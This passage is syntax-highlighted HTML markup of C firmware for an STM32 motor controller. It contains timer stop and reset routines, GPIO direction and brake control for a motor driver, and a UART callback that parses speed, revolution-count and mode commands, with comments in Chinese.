class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eStop_TIM\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 重置各种参数。 防止下次启动时有上次残留的值\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eReality_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eSet_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Encoder tim 关闭解码器时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Encoder_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim2\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_ALL\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop Time Control tim 关闭定时控制的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_Base_Stop_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim4\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// Stop the pwm tim 关闭pwm输出的时钟\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_TIM_PWM_Stop\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehtim3\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eTIM_CHANNEL_3\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这个函数用来设定电机 正转/反转/不转/刹车\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eMoTo\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 这里需要对照你的接线来设定,BIN1和BIN2对应的不同状态状态可以在驱动的说明中找到\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e// 同时也要对应好 屏幕设定的 复选框 发送的0/1对应的正反转\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\u003cspan class=\"cm\"\u003e/*\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 1 foreward\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e 0 reversal\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -1 stop\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e -2 brake\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"cm\"\u003e*/\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003eswitch\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003emode\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ecase\u003c/span\u003e \u003cspan class=\"o\"\u003e-\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_SET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003edefault\u003c/span\u003e\u003cspan class=\"o\"\u003e:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN1_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"nf\"\u003eHAL_GPIO_WritePin\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eGPIOB\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eBIN2_Pin\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eGPIO_PIN_RESET\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"k\"\u003ebreak\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"kt\"\u003evoid\u003c/span\u003e \u003cspan class=\"nf\"\u003eHAL_UART_RxCpltCallback\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eUART_HandleTypeDef\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 这是HAL库提供的UART接收完成回调函数,当UART接收完成时,该函数会被自动调用。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 判断是哪个UART触发了回调,这里使用了单个UART1,可以根据实际情况进行扩展。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 清除空闲中断标志位,UART通信中,空闲中断通常用于检测接收结束。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_CLEAR_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"o\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart1\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_CLEAR_IDLEF\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 禁用UART发送中断,以防止在处理接收数据时发送数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"nf\"\u003e__HAL_UART_DISABLE_IT\u003c/span\u003e\u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003ehuart\u003c/span\u003e\u003cspan class=\"p\"\u003e,\u003c/span\u003e \u003cspan class=\"n\"\u003eUART_IT_TXE\u003c/span\u003e\u003cspan class=\"p\"\u003e);\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查接收到的数据是否符合预期的协议,如果传输中出错了,就直接跳过不执行,根据协议格式解析数据。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"c1\"\u003e// -1 -2 -3\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFF\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e2\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFE\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e4\u003c/span\u003e\u003cspan class=\"p\"\u003e]\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mh\"\u003e0xFD\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 从接收到的数据中提取速度、圈数和模式信息。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e1\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e3\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"kt\"\u003eint\u003c/span\u003e \u003cspan class=\"n\"\u003emode\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003erev_data\u003c/span\u003e\u003cspan class=\"p\"\u003e[\u003c/span\u003e\u003cspan class=\"mi\"\u003e5\u003c/span\u003e\u003cspan class=\"p\"\u003e];\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 检查速度和圈数是否都不为零,才需要转动。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003espeed\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e!=\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 如果目标速度和位置都为零,则说明当前没有进行任何动作,可以开始新的动作。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"k\"\u003eif\u003c/span\u003e \u003cspan class=\"p\"\u003e(\u003c/span\u003e\u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e \u003cspan class=\"o\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e==\u003c/span\u003e \u003cspan class=\"mi\"\u003e0\u003c/span\u003e\u003cspan class=\"p\"\u003e)\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"p\"\u003e{\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"c1\"\u003e// 设置目标速度和目标位置。\n\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e\u003cspan class=\"c1\"\u003e\u003c/span\u003e \u003cspan class=\"n\"\u003eTarget_Velocity\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003espeed\u003c/span\u003e\u003cspan class=\"p\"\u003e;\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"cl\"\u003e \u003cspan class=\"n\"\u003eTarget_Position\u003c/span\u003e \u003cspan class=\"o\"\u003e=\u003c/span\u003e \u003cspan class=\"n\"\u003ecircle\u003c/span\u003e \u003cspan class=\"o\"\u003e*\u003c/span\u003e \u003cspan class=\"n\"\u003eEach_Circle\u003c/span\u003e\u003cspan 